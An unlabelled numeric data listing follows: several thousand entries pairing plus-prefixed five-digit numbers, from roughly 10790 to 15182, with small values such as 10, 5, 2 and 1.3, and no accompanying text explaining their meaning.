+10790 10 +10791 10 +10792 10 +10793 10 +10794 10 +10795 10 +10796 10 +10797 10 +10798 10 +10799 10 +10800 10 +10801 10 +10802 10 +10803 10 +10804 10 +10805 10 +10806 10 +10807 10 +10808 10 +10809 10 +10810 10 +10811 10 +10812 10 +10813 10 +10814 10 +10815 10 +10816 10 +10817 10 +10818 10 +10819 10 +10820 10 +10821 10 +10822 10 +10823 10 +10824 10 +10825 10 +10826 10 +10827 10 +10828 10 +10829 10 +10830 10 +10831 10 +10832 10 +10833 10 +10834 10 +10835 10 +10836 10 +10837 10 +10838 10 +10839 10 +10840 10 +10841 10 +10842 10 +10843 10 +10844 10 +10845 10 +10846 10 +10847 10 +10848 10 +10849 10 +10850 10 +10851 10 +10852 10 +10853 10 +10854 10 +10855 10 +10856 10 +10857 10 +10858 10 +10859 10 +10860 10 +10861 10 +10862 10 +10863 10 +10864 10 +10865 10 +10866 10 +10867 10 +10868 10 +10869 10 +10870 10 +10871 10 +10872 10 +10873 10 +10874 10 +10875 10 +10876 10 +10877 10 +10878 10 +10879 10 +10880 10 +10881 10 +10882 10 +10883 10 +10884 10 +10885 10 +10886 10 +10887 10 +10888 10 +10889 10 +10890 10 +10891 10 +10892 10 +10893 10 +10894 10 +10895 10 +10896 10 +10897 10 +10898 10 +10899 10 +10900 10 +10901 10 +10902 10 +10903 5 +10904 5 +10905 5 +10906 5 +10907 5 +10908 5 +10909 5 +10910 5 +10911 5 +10912 5 +10913 5 +10914 5 +10915 5 +10916 3 +10917 5 +10918 5 +10919 5 +10920 5 +10921 5 +10933 10 +10934 10 +10935 10 +10936 10 +10937 10 +10938 10 +10939 10 +10940 10 +10941 10 +10942 10 +10943 10 +10944 10 +10945 10 +10946 10 +10947 10 +10948 10 +10959 10 +10960 10 +10961 10 +10962 10 +10963 10 +10964 10 +10965 10 +10966 10 +10967 10 +10968 10 +10969 10 +10970 10 +10971 10 +10972 10 +10973 10 +10974 10 +10975 10 +10976 10 +10977 10 +10978 10 +10979 10 +10980 10 +10981 10 +10982 10 +10983 10 +10984 10 +10985 10 +10986 10 +10987 10 +10988 10 +10989 10 +10990 10 +10991 10 +10992 10 +10993 10 +10994 10 +10995 10 +10996 10 +10997 10 +10998 10 +10999 10 +11000 10 +11001 10 +11002 10 +11003 10 +11004 10 +11005 10 +11006 10 +11007 10 +11008 10 +11009 10 +11010 10 +11011 10 +11012 10 +11013 10 +11014 10 +11015 10 +11016 10 +11017 10 +11018 10 +11019 10 +11020 10 +11021 10 +11022 10 +11023 10 +11024 10 +11025 10 +11026 10 +11027 10 +11028 10 +11029 10 +11030 10 +11031 10 +11032 10 +11033 10 +11034 10 +11035 10 +11036 10 +11037 10 +11038 10 +11039 10 +11040 10 +11041 10 +11042 10 +11043 10 +11044 10 +11045 10 +11046 10 +11047 10 +11048 10 +11049 10 +11050 10 +11051 10 +11052 10 +11053 10 +11054 10 +11055 10 +11056 10 +11057 10 +11058 10 +11059 10 +11060 10 +11061 10 +11062 10 +11063 10 +11064 10 +11065 10 +11066 10 +11067 10 +11068 10 +11069 10 +11070 10 +11071 10 +11072 10 +11073 10 +11074 10 +11075 10 +11076 10 +11077 10 +11078 10 +11079 10 +11080 10 +11081 10 +11082 10 +11083 10 +11084 10 +11085 10 +11086 10 +11087 10 +11088 10 +11089 10 +11090 10 +11091 10 +11092 10 +11093 10 +11094 10 +11095 10 +11096 10 +11097 10 +11098 10 +11099 10 +11100 10 +11101 10 +11102 10 +11103 10 +11104 10 +11105 10 +11106 10 +11107 10 +11108 10 +11109 10 +11110 10 +11111 10 +11112 10 +11113 10 +11114 10 +11115 10 +11116 10 +11117 10 +11118 10 +11119 10 +11120 10 +11121 10 +11122 10 +11123 10 +11124 10 +11125 10 +11126 10 +11127 10 +11128 10 +11129 10 +11130 10 +11131 10 +11132 10 +11133 10 +11134 10 +11135 10 +11136 10 +11137 10 +11138 10 +11139 10 +11140 10 +11141 10 +11142 10 +11143 10 +11144 10 +11145 10 +11146 10 +11147 10 +11148 10 +11149 10 +11150 10 +11151 10 +11152 10 +11153 10 +11154 10 +11155 10 +11156 10 +11157 10 +11158 10 +11159 10 +11160 10 +11161 10 +11162 10 +11163 10 +11164 10 +11165 10 +11166 10 +11167 10 +11168 10 +11169 10 +11170 10 +11171 10 +11172 10 +11173 10 +11174 10 +11175 10 +11176 10 +11177 10 +11178 10 +11179 10 +11180 10 +11181 10 +11182 10 +11183 10 +11184 10 +11185 10 +11186 10 +11187 10 +11188 10 +11189 10 +11190 10 +11191 10 +11192 10 +11193 10 +11194 10 +11195 10 +11196 10 +11197 10 +11198 10 +11199 10 +11200 10 +11201 10 +11202 10 +11203 10 +11204 10 +11205 10 +11206 10 +11207 10 +11208 10 +11209 10 +11210 10 +11211 10 +11212 10 +11213 10 +11214 10 +11215 10 +11216 10 +11217 10 +11218 10 +11219 10 +11220 10 +11221 10 +11222 10 +11223 10 +11224 10 +11225 10 +11226 10 +11227 10 +11228 10 +11229 10 +11230 10 +11231 10 +11232 10 +11233 10 +11234 10 +11235 10 +11236 10 +11237 10 +11238 10 +11239 10 +11240 10 +11241 10 +11242 10 +11243 10 +11244 10 +11245 10 +11246 10 +11247 10 +11248 10 +11249 10 +11250 10 +11251 10 +11252 10 +11253 10 +11254 10 +11255 10 +11256 10 +11257 10 +11258 10 +11259 10 +11260 10 +11261 10 +11262 10 +11263 10 +11264 10 +11265 10 +11266 10 +11267 10 +11268 10 +11269 10 +11270 10 +11271 10 +11272 10 +11273 10 +11274 10 +11275 10 +11276 10 +11277 10 +11278 10 +11279 10 +11280 10 +11281 10 +11282 10 +11283 10 +11284 10 +11285 10 +11286 10 +11287 10 +11288 10 +11289 10 +11290 10 +11291 10 +11292 10 +11293 10 +11294 10 +11295 10 +11296 10 +11297 10 +11298 10 +11299 10 +11300 10 +11301 10 +11302 10 +11303 10 +11304 10 +11305 10 +11306 10 +11307 10 +11308 10 +11309 10 +11310 10 +11311 10 +11312 10 +11313 10 +11314 10 +11315 10 +11316 10 +11317 10 +11318 10 +11319 10 +11320 10 +11321 10 +11322 10 +11323 10 +11324 10 +11325 10 +11326 10 +11327 10 +11328 10 +11329 10 +11330 10 +11331 10 +11332 10 +11333 10 +11334 10 +11335 10 +11336 10 +11337 10 +11338 10 +11339 10 +11340 10 +11341 10 +11342 10 +11343 10 +11344 10 +11345 10 +11346 10 +11347 10 +11348 10 +11349 10 +11350 10 +11351 10 +11352 10 +11353 10 +11354 10 +11355 10 +11356 10 +11357 10 +11358 10 +11359 10 +11360 10 +11361 10 +11362 10 +11363 10 +11364 10 +11365 10 +11366 10 +11367 10 +11368 10 +11369 10 +11370 10 +11371 10 +11372 10 +11373 10 +11374 10 +11375 10 +11376 10 +11377 10 +11378 10 +11379 10 +11380 10 +11381 10 +11382 10 +11383 10 +11384 10 +11385 10 +11386 10 +11387 10 +11388 10 +11389 10 +11390 10 +11391 10 +11392 10 +11393 10 +11394 10 +11395 10 +11396 10 +11397 10 +11398 10 +11399 10 +11400 10 +11401 10 +11402 10 +11403 10 +11404 10 +11405 10 +11406 10 +11407 10 +11408 10 +11409 10 +11410 10 +11411 10 +11412 10 +11413 10 +11414 10 +11415 10 +11416 10 +11417 10 +11418 10 +11419 10 +11420 10 +11421 10 +11422 10 +11423 10 +11424 10 +11425 10 +11426 10 +11427 10 +11428 10 +11429 10 +11430 10 +11431 10 +11432 10 +11433 10 +11434 10 +11435 10 +11436 10 +11437 10 +11438 10 +11439 10 +11440 10 +11441 10 +11442 10 +11443 10 +11444 10 +11445 10 +11446 10 +11447 10 +11448 10 +11449 10 +11450 10 +11451 10 +11452 10 +11453 10 +11454 10 +11455 10 +11456 10 +11457 10 +11458 10 +11459 10 +11460 10 +11461 10 +11462 10 +11464 10 +11465 10 +11466 10 +11467 10 +11468 10 +11469 10 +11470 10 +11471 10 +11472 10 +11473 10 +11474 10 +11475 10 +11476 10 +11477 10 +11478 10 +11479 10 +11480 10 +11481 10 +11482 10 +11483 10 +11484 10 +11485 10 +11486 10 +11487 10 +11488 10 +11489 10 +11490 10 +11491 10 +11492 10 +11493 10 +11494 10 +11495 10 +11496 10 +11497 10 +11498 10 +11499 10 +11500 10 +11501 10 +11502 10 +11503 10 +11504 10 +11505 10 +11506 10 +11507 10 +11508 10 +11509 10 +11510 10 +11511 10 +11512 10 +11513 10 +11514 10 +11515 10 +11516 10 +11517 10 +11518 10 +11519 10 +11520 10 +11521 10 +11522 10 +11523 10 +11524 10 +11525 10 +11526 10 +11527 10 +11528 10 +11529 10 +11530 10 +11531 10 +11532 10 +11533 10 +11534 10 +11535 10 +11536 10 +11537 10 +11538 10 +11539 10 +11540 10 +11541 10 +11542 10 +11543 10 +11544 10 +11545 10 +11546 10 +11547 10 +11548 10 +11549 10 +11550 10 +11551 10 +11552 10 +11553 10 +11554 10 +11555 10 +11556 10 +11557 10 +11558 10 +11559 10 +11560 10 +11561 10 +11562 10 +11563 10 +11564 10 +11565 10 +11566 10 +11567 10 +11568 10 +11569 10 +11570 10 +11571 10 +11572 10 +11573 10 +11574 10 +11575 10 +11576 10 +11577 10 +11578 10 +11579 10 +11580 10 +11581 10 +11582 10 +11583 10 +11584 10 +11585 10 +11586 10 +11587 10 +11588 10 +11589 10 +11590 10 +11591 10 +11592 10 +11593 10 +11594 10 +11595 10 +11596 10 +11597 10 +11598 10 +11599 10 +11600 10 +11601 10 +11602 10 +11603 10 +11604 10 +11605 10 +11606 10 +11607 10 +11608 10 +11609 10 +11610 10 +11611 10 +11612 10 +11613 10 +11614 10 +11615 10 +11616 10 +11617 10 +11618 10 +11619 10 +11620 10 +11621 10 +11622 10 +11623 10 +11624 10 +11625 10 +11626 10 +11627 10 +11628 10 +11629 10 +11630 10 +11631 10 +11632 10 +11633 10 +11634 10 +11635 10 +11636 10 +11637 10 +11638 10 +11639 10 +11640 10 +11641 10 +11642 10 +11643 10 +11644 10 +11645 10 +11646 10 +11647 10 +11648 10 +11649 10 +11650 10 +11651 10 +11652 10 +11653 10 +11654 10 +11655 10 +11656 10 +11657 10 +11658 10 +11659 10 +11660 10 +11661 10 +11662 10 +11663 10 +11664 10 +11665 10 +11666 10 +11669 10 +11670 10 +11671 10 +11672 10 +11673 10 +11674 10 +11675 10 +11676 10 +11677 10 +11678 10 +11679 10 +11680 10 +11681 10 +11682 10 +11801 10 +11802 10 +11803 10 +11804 10 +11805 10 +11806 10 +11807 10 +11809 10 +11810 10 +11811 10 +11812 10 +11813 10 +11814 10 +11815 10 +11816 10 +11817 10 +11818 10 +11819 10 +11820 10 +11821 10 +11822 10 +11823 10 +11824 2 +11825 10 +11826 10 +11827 10 +11828 10 +11829 10 +11830 10 +11831 10 +11832 10 +11833 10 +11834 10 +11835 10 +11836 10 +11837 10 +11838 10 +11839 10 +11840 10 +11841 10 +11842 10 +11843 10 +11844 10 +11845 10 +11846 2 +11847 2 +11848 2 +11849 2 +11850 2 +11851 2 +11852 2 +11853 10 +11854 10 +11855 10 +11856 10 +11857 10 +11858 10 +11859 10 +11860 10 +11861 10 +11862 10 +11863 2 +11864 10 +11865 10 +11866 10 +11867 10 +11868 10 +11869 10 +11870 10 +11871 10 +11872 10 +11873 10 +11874 10 +11875 10 +11876 10 +11877 10 +11878 10 +11879 10 +11880 10 +11881 10 +11882 10 +11883 10 +11884 10 +11885 10 +11886 10 +11887 10 +11888 10 +11889 10 +11890 10 +11891 10 +11892 10 +11893 2 +11894 5 +11895 2 +11896 5 +11897 5 +11898 2 +11899 10 +11900 2 +11901 2 +11902 5 +11903 2 +11904 5 +11905 5 +11906 2 +11907 5 +11908 5 +11909 2 +11910 10 +11911 5 +11912 5 +11913 5 +11914 5 +11915 5 +11916 5 +11917 5 +11918 5 +11919 5 +11920 5 +11921 5 +11922 10 +11923 2 +11924 2 +11925 5 +11926 5 +11927 5 +11928 5 +11929 5 +11930 5 +11932 10 +11933 10 +11934 5 +11935 5 +11936 5 +11937 5 +11938 5 +11939 2 +11940 3 +11941 5 +11942 2 +11943 2 +11944 5 +11945 5 +11947 5 +11948 5 +11949 5 +11950 5 +11951 3 +11952 2 +11953 5 +11954 2 +11955 2 +11956 5 +11957 3 +11958 5 +11959 5 +11960 2 +11961 5 +11962 2 +11963 2 +11964 5 +11965 5 +11966 2 +11968 5 +11969 5 +11970 2 +11973 2 +11977 2 +11978 2 +11981 2 +11983 1.3 +11985 2 +11986 2 +11987 2 +11988 2 +11989 5 +11990 2 +11991 2 +11992 2 +11993 2 +11994 5 +11995 3 +11996 2 +11997 2 +11998 2 +11999 2 +12000 2 +12001 2 +12002 2 +12004 5 +12005 5 +12006 2 +12007 5 +12008 5 +12009 2 +12010 2 +12015 2 +12017 2 +12018 5 +12019 5 +12022 2 +12023 3 +12024 5 +12025 2 +12026 3 +12027 2 +12030 2 +12031 2 +12032 2 +12033 2 +12034 2 +12035 5 +12036 2 +12037 3 +12038 2 +12039 5 +12040 2 +12041 2 +12042 3 +12043 2 +12044 5 +12046 5 +12047 5 +12049 2 +12050 2 +12052 5 +12053 5 +12054 2 +12055 2 +12056 2 +12058 5 +12059 2 +12060 3 +12061 2 +12062 2 +12064 5 +12065 5 +12066 5 +12067 5 +12068 10 +12069 5 +12071 5 +12076 10 +12079 10 +12080 2 +12081 2 +12082 2 +12083 10 +12084 10 +12085 10 +12086 2 +12087 10 +12088 10 +12089 2 +12090 10 +12091 10 +12092 2 +12093 2 +12094 2 +12095 2 +12096 2 +12097 10 +12098 2 +12099 2 +12100 10 +12101 10 +12102 10 +12103 10 +12104 2 +12106 10 +12107 2 +12108 1.0 +12109 2 +12110 1.0 +12111 2 +12112 2 +12113 2 +12114 1.0 +12115 2 +12116 1.0 +12117 10 +12118 2 +12119 1.0 +12120 2 +12121 2 +12122 2 +12123 3 +12124 2 +12125 1.3 +12127 10 +12129 3 +12131 10 +12132 5 +12133 2 +12134 2 +12135 2 +12136 10 +12137 5 +12138 10 +12139 2 +12140 2 +12141 2 +12142 2 +12143 10 +12144 2 +12147 2 +12148 10 +12150 10 +12151 2 +12152 2 +12153 10 +12156 10 +12157 10 +12158 10 +12159 10 +12160 10 +12162 10 +12163 2 +12164 10 +12165 5 +12166 2 +12169 5 +12170 10 +12171 10 +12172 10 +12174 10 +12175 2 +12176 10 +12177 10 +12178 10 +12179 10 +12180 10 +12181 10 +12182 10 +12183 10 +12184 10 +12185 10 +12186 2 +12187 2 +12188 10 +12189 10 +12190 5 +12191 10 +12192 10 +12193 5 +12195 2 +12196 10 +12197 3 +12198 3 +12199 10 +12200 10 +12201 10 +12202 10 +12203 1.0 +12204 10 +12205 2 +12206 10 +12207 3 +12208 5 +12209 2 +12210 2 +12211 10 +12213 10 +12214 10 +12215 10 +12216 10 +12217 10 +12218 10 +12219 5 +12220 10 +12221 3 +12222 10 +12224 2 +12225 10 +12228 2 +12229 2 +12231 2 +12232 10 +12233 3 +12234 2 +12235 10 +12236 2 +12237 2 +12238 10 +12239 2 +12240 10 +12241 10 +12242 10 +12243 10 +12244 10 +12245 2 +12246 2 +12247 10 +12248 10 +12249 2 +12250 10 +12251 10 +12252 10 +12254 10 +12255 10 +12256 10 +12257 10 +12258 10 +12259 10 +12260 2 +12261 2 +12262 2 +12263 10 +12264 10 +12265 10 +12266 2 +12267 2 +12269 10 +12270 10 +12271 10 +12272 10 +12273 10 +12274 10 +12275 10 +12277 10 +12281 10 +12283 10 +12288 10 +12289 10 +12290 10 +12291 5 +12292 10 +12293 3 +12294 10 +12295 5 +12296 5 +12298 10 +12299 10 +12300 3 +12301 3 +12302 10 +12303 5 +12304 10 +12305 10 +12306 10 +12307 10 +12308 10 +12309 2 +12310 2 +12311 2 +12312 10 +12313 2 +12314 2 +12315 2 +12317 2 +12338 5 +12339 5 +12340 5 +12341 2 +12342 10 +12343 10 +12344 2 +12345 10 +12346 10 +12347 10 +12348 10 +12349 10 +12350 10 +12351 10 +12352 10 +12353 10 +12354 3 +12355 10 +12356 10 +12357 10 +12358 10 +12359 10 +12360 10 +12361 10 +12362 10 +12364 10 +12365 2 +12366 10 +12367 2 +12368 10 +12369 10 +12370 2 +12371 10 +12372 5 +12373 2 +12374 10 +12376 2 +12377 2 +12378 10 +12379 2 +12380 10 +12381 10 +12382 10 +12383 10 +12384 2 +12385 10 +12386 10 +12387 2 +12388 10 +12389 10 +12391 10 +12392 10 +12393 10 +12394 10 +12395 10 +12396 10 +12397 10 +12398 10 +12399 10 +12400 2 +12401 10 +12402 10 +12403 10 +12404 10 +12405 10 +12406 10 +12407 10 +12408 10 +12409 10 +12410 10 +12411 10 +12412 10 +12413 10 +12414 10 +12415 10 +12416 10 +12417 10 +12418 10 +12419 10 +12420 10 +12421 10 +12422 10 +12423 10 +12424 5 +12425 10 +12426 10 +12427 10 +12428 10 +12429 10 +12430 10 +12431 2 +12432 10 +12433 10 +12435 2 +12437 3 +12438 2 +12439 2 +12440 2 +12441 2 +12442 2 +12443 2 +12444 2 +12445 2 +12446 2 +12447 2 +12448 2 +12449 2 +12450 2 +12451 2 +12452 2 +12453 2 +12454 2 +12455 2 +12456 2 +12457 2 +12458 2 +12459 2 +12460 2 +12461 2 +12462 2 +12463 2 +12464 2 +12465 2 +12466 2 +12467 2 +12468 2 +12469 2 +12470 2 +12471 2 +12472 2 +12473 2 +12474 2 +12475 2 +12476 2 +12477 3 +12478 2 +12480 2 +12481 2 +12482 2 +12483 2 +12484 3 +12485 3 +12486 3 +12487 5 +12488 3 +12489 2 +12490 2 +12491 2 +12492 2 +12493 2 +12495 2 +12496 2 +12497 2 +12498 2 +12499 5 +12500 2 +12501 2 +12502 2 +12503 2 +12504 2 +12505 2 +12506 3 +12507 2 +12508 5 +12509 2 +12510 2 +12511 2 +12512 2 +12513 2 +12514 2 +12515 2 +12516 2 +12517 2 +12518 2 +12519 2 +12520 2 +12521 1.0 +12522 2 +12523 2 +12524 10 +12525 3 +12526 2 +12527 2 +12528 2 +12529 5 +12530 10 +12531 2 +12532 2 +12533 10 +12534 2 +12535 2 +12536 2 +12537 2 +12538 2 +12539 2 +12540 2 +12541 2 +12542 3 +12543 2 +12544 8 +12545 3 +12546 2 +12547 10 +12548 2 +12549 2 +12550 2 +12551 2 +12552 5 +12553 2 +12554 2 +12555 10 +12556 10 +12557 10 +12558 2 +12559 2 +12560 2 +12561 2 +12562 2 +12563 10 +12564 10 +12565 5 +12566 10 +12567 2 +12568 2 +12569 2 +12570 2 +12571 2 +12572 3 +12573 5 +12574 10 +12575 10 +12576 10 +12577 2 +12578 2 +12579 2 +12580 10 +12581 2 +12582 2 +12583 5 +12584 10 +12585 10 +12586 10 +12587 5 +12589 5 +12590 5 +12591 5 +12592 5 +12593 5 +12594 5 +12595 5 +12596 5 +12597 5 +12598 5 +12599 10 +12600 5 +12601 2 +12602 5 +12603 2 +12604 5 +12605 5 +12606 2 +12607 2 +12608 2 +12609 1.3 +12610 1.3 +12611 1.3 +12612 1.3 +12613 1.3 +12614 1.3 +12615 1.3 +12616 1.3 +12617 5 +12618 2 +12620 1.3 +12621 1.3 +12622 1.3 +12623 1.3 +12624 1.3 +12625 2 +12626 1.3 +12627 1.3 +12628 5 +12629 1.3 +12630 1.3 +12631 1.3 +12632 1.3 +12633 1.3 +12634 1.3 +12635 1.3 +12636 5 +12637 1.3 +12638 1.3 +12639 1.3 +12640 2 +12641 2 +12642 3 +12643 3 +12644 5 +12645 5 +12646 2 +12647 2 +12648 2 +12649 2 +12650 3 +12651 2 +12652 1.3 +12653 2 +12654 5 +12655 5 +12656 2 +12657 2 +12658 2 +12659 2 +12660 5 +12661 2 +12662 2 +12663 2 +12664 2 +12665 2 +12666 2 +12667 2 +12668 2 +12669 2 +12670 2 +12671 2 +12672 2 +12673 2 +12674 2 +12675 3 +12676 5 +12677 5 +12678 2 +12679 2 +12680 3 +12681 2 +12682 5 +12683 5 +12684 2 +12685 5 +12686 2 +12687 2 +12688 2 +12689 2 +12690 2 +12691 5 +12692 5 +12693 5 +12694 2 +12695 5 +12696 5 +12697 2 +12698 5 +12699 2 +12700 2 +12701 5 +12702 2 +12703 2 +12704 2 +12705 2 +12706 5 +12707 2 +12708 2 +12709 2 +12710 5 +12711 5 +12712 5 +12713 2 +12714 2 +12715 5 +12716 3 +12717 2 +12718 2 +12719 2 +12720 5 +12721 5 +12722 5 +12723 5 +12724 5 +12725 5 +12726 5 +12727 2 +12728 1.3 +12729 2 +12730 5 +12731 5 +12732 5 +12733 5 +12734 2 +12735 5 +12736 2 +12737 2 +12738 2 +12739 2 +12740 2 +12741 2 +12742 5 +12743 2 +12744 2 +12745 2 +12746 2 +12747 2 +12748 2 +12749 2 +12750 2 +12751 1.2 +12752 2 +12753 2 +12754 2 +12755 2 +12756 10 +12757 2 +12758 2 +12759 1.2 +12760 2 +12761 2 +12762 1.3 +12763 1.1 +12764 2 +12765 3 +12766 2 +12767 1.3 +12768 2 +12769 1.1 +12770 2 +12771 2 +12772 1.3 +12773 2 +12774 2 +12775 1.1 +12776 2 +12777 2 +12778 2 +12779 1.0 +12780 1.2 +12781 2 +12782 2 +12783 2 +12784 2 +12785 2 +12786 2 +12787 2 +12788 2 +12789 2 +12790 5 +12791 5 +12792 5 +12793 10 +12794 10 +12795 10 +12796 10 +12797 10 +12798 10 +12799 10 +12800 10 +12801 10 +12802 10 +12803 10 +12804 10 +12805 10 +12806 10 +12807 10 +12808 5 +12809 10 +12810 10 +12811 10 +12812 10 +12813 10 +12814 5 +12815 10 +12816 5 +12817 10 +12818 5 +12819 5 +12820 10 +12821 5 +12822 5 +12823 5 +12824 5 +12825 5 +12826 10 +12827 5 +12828 5 +12829 5 +12830 5 +12831 10 +12832 5 +12833 10 +12834 5 +12835 5 +12836 5 +12837 5 +12838 10 +12839 10 +12840 10 +12841 10 +12842 10 +12843 10 +12844 10 +12845 10 +12846 10 +12847 10 +12848 10 +12849 10 +12850 10 +12851 10 +12852 10 +12853 10 +12854 10 +12855 10 +12856 10 +12857 10 +12858 5 +12859 10 +12860 5 +12861 5 +12862 1.0 +12863 5 +12864 10 +12865 10 +12866 10 +12867 10 +12868 10 +12869 10 +12870 5 +12871 5 +12872 10 +12873 5 +12874 10 +12875 10 +12876 10 +12877 5 +12878 5 +12879 5 +12880 5 +12881 10 +12882 5 +12883 10 +12884 10 +12885 5 +12886 5 +12887 5 +12888 10 +12889 10 +12890 10 +12891 10 +12892 10 +12893 10 +12894 10 +12895 10 +12896 10 +12897 10 +12898 10 +12899 5 +12900 10 +12901 5 +12902 5 +12903 5 +12904 5 +12905 5 +12906 5 +12907 5 +12908 5 +12909 5 +12910 5 +12911 10 +12912 5 +12913 10 +12914 10 +12915 5 +12916 5 +12917 5 +12918 5 +12919 5 +12920 10 +12921 10 +12922 10 +12923 10 +12924 10 +12925 10 +12926 5 +12927 5 +12928 10 +12929 5 +12930 5 +12931 5 +12932 10 +12933 5 +12934 10 +12935 5 +12936 5 +12937 10 +12938 10 +12939 10 +12940 10 +12941 5 +12942 5 +12943 10 +12944 5 +12945 10 +12946 10 +12947 10 +12948 5 +12949 2 +12950 2 +12951 10 +12952 2 +12953 2 +12954 2 +12955 10 +12956 10 +12957 10 +12958 2 +12959 10 +12960 10 +12961 2 +12962 10 +12963 10 +12964 10 +12965 2 +12966 2 +12967 2 +12968 2 +12969 10 +12970 10 +12971 10 +12972 10 +12973 10 +12974 10 +12975 10 +12976 10 +12977 2 +12978 10 +12979 10 +12980 10 +12981 10 +12982 10 +12983 10 +12984 10 +12985 10 +12986 10 +12987 10 +12988 10 +12989 10 +12990 2 +12991 2 +12992 10 +12993 10 +12994 10 +12995 2 +12996 2 +12997 2 +12998 2 +12999 2 +13000 2 +13001 10 +13002 2 +13003 2 +13004 2 +13005 2 +13006 10 +13007 10 +13008 10 +13009 10 +13010 10 +13011 10 +13012 10 +13013 2 +13014 3 +13015 2 +13016 2 +13017 2 +13018 2 +13019 2 +13020 2 +13021 2 +13022 2 +13023 3 +13024 2 +13025 2 +13026 10 +13027 10 +13028 10 +13029 2 +13030 2 +13031 2 +13032 2 +13033 2 +13034 2 +13035 2 +13036 2 +13037 2 +13038 2 +13039 2 +13040 2 +13041 2 +13042 2 +13043 2 +13044 2 +13045 2 +13046 2 +13047 2 +13048 2 +13049 2 +13050 2 +13051 2 +13052 2 +13053 2 +13054 2 +13055 2 +13065 2 +13066 3 +13067 2 +13068 2 +13069 3 +13070 2 +13071 2 +13072 2 +13073 2 +13074 2 +13076 10 +13077 10 +13078 2 +13079 2 +13080 2 +13081 2 +13082 2 +13083 2 +13084 2 +13085 2 +13086 2 +13087 10 +13088 2 +13089 2 +13090 10 +13091 2 +13092 2 +13093 10 +13094 10 +13095 10 +13096 10 +13097 10 +13098 10 +13099 10 +13100 10 +13101 10 +13102 10 +13103 10 +13104 10 +13105 10 +13106 10 +13107 10 +13108 10 +13109 10 +13110 10 +13111 10 +13112 10 +13113 10 +13114 10 +13115 10 +13116 10 +13117 10 +13118 10 +13119 10 +13120 10 +13121 10 +13122 10 +13123 10 +13124 10 +13125 5 +13126 3 +13127 10 +13128 10 +13129 10 +13130 10 +13131 10 +13132 10 +13133 10 +13134 10 +13135 10 +13136 10 +13137 10 +13138 10 +13139 10 +13140 10 +13141 10 +13142 10 +13143 10 +13144 10 +13145 10 +13146 10 +13147 10 +13148 10 +13149 10 +13150 10 +13151 10 +13152 10 +13156 5 +13157 5 +13158 5 +13159 5 +13160 5 +13161 5 +13162 5 +13163 10 +13165 10 +13166 2 +13167 5 +13168 10 +13169 5 +13170 5 +13171 5 +13172 10 +13173 10 +13174 10 +13175 5 +14653 10 +14654 10 +14655 10 +14656 10 +14658 10 +14660 10 +14661 10 +14663 10 +14664 10 +14665 10 +14666 10 +14667 10 +14668 10 +14669 10 +14670 10 +14671 10 +14672 10 +14673 10 +14674 10 +14675 10 +14676 10 +14677 10 +14678 10 +14679 10 +14680 10 +14681 10 +14682 10 +14683 10 +14687 10 +14688 10 +14689 10 +14690 2 +14691 2 +14692 2 +14693 2 +14694 2 +14695 2 +14760 10 +14761 10 +14762 10 +14763 10 +14764 10 +14771 10 +14772 10 +14773 10 +14774 10 +14775 10 +14776 10 +14777 10 +14778 10 +14779 10 +14780 10 +14781 10 +14782 10 +14783 10 +14784 10 +14785 10 +14786 10 +14787 5 +14788 5 +14789 5 +14790 5 +14791 10 +14792 10 +14793 5 +14794 5 +14795 5 +14796 5 +14797 5 +14798 5 +14799 5 +14800 5 +14801 10 +14802 10 +14803 10 +14804 10 +14805 10 +14806 10 +14807 5 +14808 5 +14809 5 +14810 5 +14811 5 +14812 5 +14813 5 +14814 5 +14815 10 +14816 5 +14817 5 +14818 5 +14819 5 +14820 5 +14821 10 +14822 5 +14823 10 +14824 10 +14825 5 +14826 5 +14827 5 +14828 5 +14829 10 +14830 10 +14831 10 +14834 5 +14835 5 +14836 5 +14837 5 +14838 5 +14839 5 +14840 10 +14841 10 +14842 5 +14843 5 +14844 5 +14845 5 +14846 5 +14847 5 +14848 10 +14849 10 +14850 5 +14851 5 +14852 5 +14853 5 +14854 5 +14855 5 +14856 5 +14857 5 +14858 10 +14859 10 +14861 5 +14862 5 +14863 5 +14864 5 +14865 5 +14866 10 +14867 10 +14868 5 +14869 10 +14870 10 +14871 10 +14872 10 +14873 10 +14874 10 +14875 10 +14876 10 +14877 10 +14878 10 +14886 5 +14890 5 +14891 10 +14892 10 +14894 10 +14895 10 +14896 10 +14897 5 +14898 5 +14899 5 +14900 5 +14901 10 +14902 10 +14904 10 +14905 10 +14906 10 +14907 10 +14908 10 +14909 10 +14910 10 +14911 10 +14919 10 +14920 5 +14922 5 +14924 5 +14925 5 +14930 5 +14949 2 +14950 2 +14951 2 +14952 2 +14953 2 +14954 2 +14955 2 +14956 2 +14957 2 +14958 2 +14959 2 +14960 2 +14961 2 +14962 2 +14963 2 +14964 2 +14965 2 +15000 2 +15001 2 +15002 2 +15004 2 +15005 1.3 +15006 1.3 +15007 1.3 +15008 1.3 +15009 1.3 +15010 1.3 +15011 1.3 +15012 1.3 +15013 1.3 +15014 1.3 +15015 2 +15016 1.3 +15017 1.3 +15018 1.3 +15019 1.3 +15020 1.3 +15021 1.3 +15022 1.3 +15023 1.3 +15024 1.3 +15025 1.3 +15026 1.3 +15027 1.3 +15028 1.3 +15029 2 +15030 1.3 +15031 2 +15032 2 +15033 2 +15034 2 +15035 2 +15036 2 +15037 2 +15038 2 +15039 2 +15040 2 +15041 2 +15042 1.3 +15043 1.3 +15044 2 +15045 1.3 +15046 2 +15047 2 +15048 2 +15049 1.3 +15050 1.3 +15051 1.3 +15052 1.3 +15053 5 +15054 5 +15055 5 +15056 5 +15057 5 +15058 5 +15059 5 +15060 5 +15061 1.3 +15062 2 +15063 1.3 +15064 1.3 +15065 3 +15066 2 +15067 1.3 +15068 1.3 +15069 1.3 +15070 1.3 +15071 1.3 +15072 1.3 +15073 1.3 +15074 1.3 +15075 2 +15076 2 +15077 2 +15078 2 +15079 2 +15080 2 +15081 2 +15082 2 +15117 10 +15118 10 +15119 10 +15120 10 +15121 10 +15122 10 +15123 10 +15124 10 +15125 10 +15126 10 +15127 10 +15128 10 +15129 10 +15130 10 +15131 10 +15132 10 +15133 10 +15134 10 +15135 10 +15136 10 +15137 10 +15138 10 +15139 10 +15140 10 +15141 10 +15142 10 +15143 10 +15144 10 +15145 10 +15146 10 +15147 10 +15148 10 +15149 10 +15150 10 +15151 10 +15152 10 +15153 10 +15154 10 +15155 10 +15156 10 +15157 10 +15158 10 +15159 10 +15160 10 +15161 10 +15162 10 +15165 10 +15166 10 +15167 10 +15168 10 +15169 10 +15170 10 +15172 10 +15173 10 +15174 10 +15175 10 +15176 10 +15177 10 +15178 10 +15179 10 +15180 10 +15181 10 +15182 10 